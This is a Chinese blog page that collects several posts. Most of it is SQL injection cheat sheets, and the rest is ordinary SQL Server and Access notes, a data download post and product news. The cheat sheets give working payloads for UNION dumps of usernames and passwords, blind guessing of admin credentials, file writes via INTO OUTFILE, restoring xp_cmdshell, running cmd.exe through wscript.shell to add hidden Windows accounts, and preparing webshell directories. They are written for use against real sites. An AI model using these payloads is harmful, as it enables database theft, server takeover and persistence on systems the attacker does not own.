PHP的SQL注入

来源:lost Blog

语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL 语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:我喜欢这样个东西
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'
3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'
Read the rest of this entry

Sql注射总结

Sql Injection永远是那么可爱...

Sql注射总结(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
---------------------------------
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
and 1=(select @@VERSION)
and 'sa'=(select System_user)
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段 Read the rest of this entry

SQL注射语句1.判断有无注入点
' ; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否删除

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND
name = 'xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc
'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec
sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add'--

创建一个虚拟目录E盘:
;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点"
-v "e","e:\"'--

访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod
@o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a
w3svc/1/ROOT/e +browse'

爆库 特殊技巧::%5c='\' 或者把/和\ 修改%5提交
如何得到SQLSERVER某个数据库中所有表的表名?
--------------------------------------------------------------------------------

用户表:
select name from sysobjects where xtype = 'U';

系统表:
select name from sysobjects where xtype = 'S';

所有表:
select name from sysobjects where xtype = 'S' or xtype = 'U';

--------------------------------------------------------------------------------
and 0<>(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and
dbid=6)

依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表
假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name
not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and
name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id Read the rest of this entry

最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin

一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID

例如:
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录E盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用

暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- Read the rest of this entry

全国省市数据库李晓鹏整理版
Database.mdb是ACCESS版本,直接使用
Database.sql是SQL版本,直接导入即可
SQL版是晓鹏网上找来的,但我需要用的是ACCESS版,唉,因为用的SQL SERVER 2005,没法把SQL导出为ACCESS库,就用ASP写了个文件转换.
现提供下载!有问题请到http://www.lixiaopeng.org留言给我.整理时间:2008年12月19日02时44分20秒

下载全国省市数据库

truncate,delete,drop的异同点   (注意:这里说的delete是指不带where子句的delete语句 )

相同点:truncate和不带where子句的delete, 以及drop都会删除表内的数据。

不同点: 
1. truncate和 delete只删除数据不删除表的结构(定义) 
      drop语句将删除表的结构被依赖的约束(constrain),触发器(trigger),索引(index); 依赖于该表的存储过程/函数将保留,但是变为invalid状态。

2.delete语句是dml,这个操作会放到rollback segement中,事务提交之后才生效;如果有相应的trigger,执行的时候将被触发。
   truncate,drop是ddl, 操作立即生效,原数据不放到rollback segment中,不能回滚. 操作不触发trigger。

3.delete语句不影响表所占用的extent, 高水线(high watermark)保持原位置不动 
    显然drop语句将表所占用的空间全部释放 
    truncate 语句缺省情况下将空间释放到 minextents个 extent,除非使用reuse storage;    truncate会将高水线复位(回到最开始)。

4.速度,一般来说: drop> truncate > delete 

5.安全性:小心使用drop 和truncate,尤其没有备份的时候.否则哭都来不及 
    使用上,想删除部分数据行用delete,注意带上where子句. 回滚段要足够大. 

    想删除表,当然用drop 
    想保留表而将所有数据删除. 如果和事务无关,用truncate即可. 如果和事务有关,或者想触发trigger,还是用delete。

    如果是整理表内部的碎片,可以用truncate跟上reuse stroage,再重新导入/插入数据

新建表:
create table [表名]
(
[自动编号字段] int IDENTITY (1,1) PRIMARY KEY ,
[字段1] nVarChar(50) default '默认值' null ,
[字段2] ntext null ,
[字段3] datetime,
[字段4] money null ,
[字段5] int default 0,
[字段6] Decimal (12,4) default 0,
[字段7] image null ,
)
删除表:
Drop table [表名]
插入数据:
INSERT INTO [表名] (字段1,字段2) VALUES (100,'51WINDOWS.NET')
删除数据:
DELETE FROM [表名] WHERE [字段名]>100
更新数据:
UPDATE [表名] SET [字段1] = 200,[字段2] = '51WINDOWS.NET' WHERE [字段三] = 'HAIWA'
新增字段:
ALTER TABLE [表名] ADD [字段名] NVARCHAR (50) NULL
删除字段:
ALTER TABLE [表名] DROP COLUMN [字段名]
修改字段:
ALTER TABLE [表名] ALTER COLUMN [字段名] NVARCHAR (50) NULL
重命名表:(Access 重命名表,请参考文章:在Access数据库中重命名表)
sp_rename '表名', '新表名', 'OBJECT'
新建约束:
ALTER TABLE [表名] ADD CONSTRAINT 约束名 CHECK ([约束字段] <= '2000-1-1')
删除约束:
ALTER TABLE [表名] DROP CONSTRAINT 约束名
新建默认值
ALTER TABLE [表名] ADD CONSTRAINT 默认值名 DEFAULT '51WINDOWS.NET' FOR [字段名]
删除默认值
ALTER TABLE [表名] DROP CONSTRAINT 默认值名
另外以上的只是SQL的语法在 ACCESS 下大部份也都是一样的
项一项查阅,并经自己使用验证,确认在access 数据库中添加自动编号字段使用以下方法比较合适: create table 数据表名称 (id counter constraint primarykey primary key) 需要注意的地方是:第二个primary中间有空格,另外,关键字不区分大小写. 另外自己最近发现的一种方法是: sql="create table mytb (id autoincrement(25,1) primary key,age int)" sql2="create table testtb (id autoincrement,age int,email char, primary key (id))" 其中在access中,autoincrement为自动编号类型字段,(25,1)分别为初始值及步长值,如果不写的话,默认是1,1,primary key指定了主键,以上示例,两种指定方法都可以

在SQL Server Management Studio 用WINDOWS连接的情况下改实列的“属性”中“安全性”选中WINDOWS及SQL验证,再重起SQL服务器后,新建查询,执行下面代码

(几种不同的语句)

一、

ALTER LOGIN sa ENABLE ;

GO

ALTER LOGIN sa WITH PASSWORD = 'password' ;

GO

二、

ALTER LOGIN sa

WITH PASSWORD = N'新密码'

OLD_PASSWORD = N'旧密码'

三、

alter login [sa] with password=N'NewPassword'--旧密码可以不用提供

四、

sp_password 'OldPassword','NewPassword'

五、

USE test

go

EXEC sp_change_users_login 'Auto_Fix', '用户名', NULL, '密码'

--------在企业管理里—安全性—账号—右健属性(最好取消密码策略这项)

微软本周一公布了SQL Server数据库发布计划。

  代号为Kilimanjaro的新版SQL Server计划2010年上半年发售,重点是自助服务和面向商业智能的报告功能。微软计划未来12个月内发布Kilimanjaro的一个CTP版本。自助服务功能将通过一套代号为Gemini的技术实现。Gemini使用户能够开发访问多个数据源、整合数据、输出图表和报表、通过SharePoint 与其它应用软件实现数据共享的商业智能应用软件。

  微软还计划整合Office Communications Server的统一通讯能力,帮助用户共享商业智能应用软件的处理成果。

  微软表示,Gemini技术将主要与Excel相关联,使Excel用户能够访问自助服务提供的相关数据。

  微软在商业智能市场上的收购和以SQL Server为基础拓展商业智能业务的决心改变了商业智能市场格局。商业智能市场上的其它巨头包括SAP、IBM和甲骨文.市场分析机构Gartner今年早些时候在一份报告中说,微软在元数据管理、报告、查询等方面仍然落后于纯粹的商业智能厂商。

  微软计划逐一弥补自己的缺点。微软的近期目标是拓展商业智能工具和软件,使用户——尤其是Excel和SharePoint用户能够方便地使用这些工具。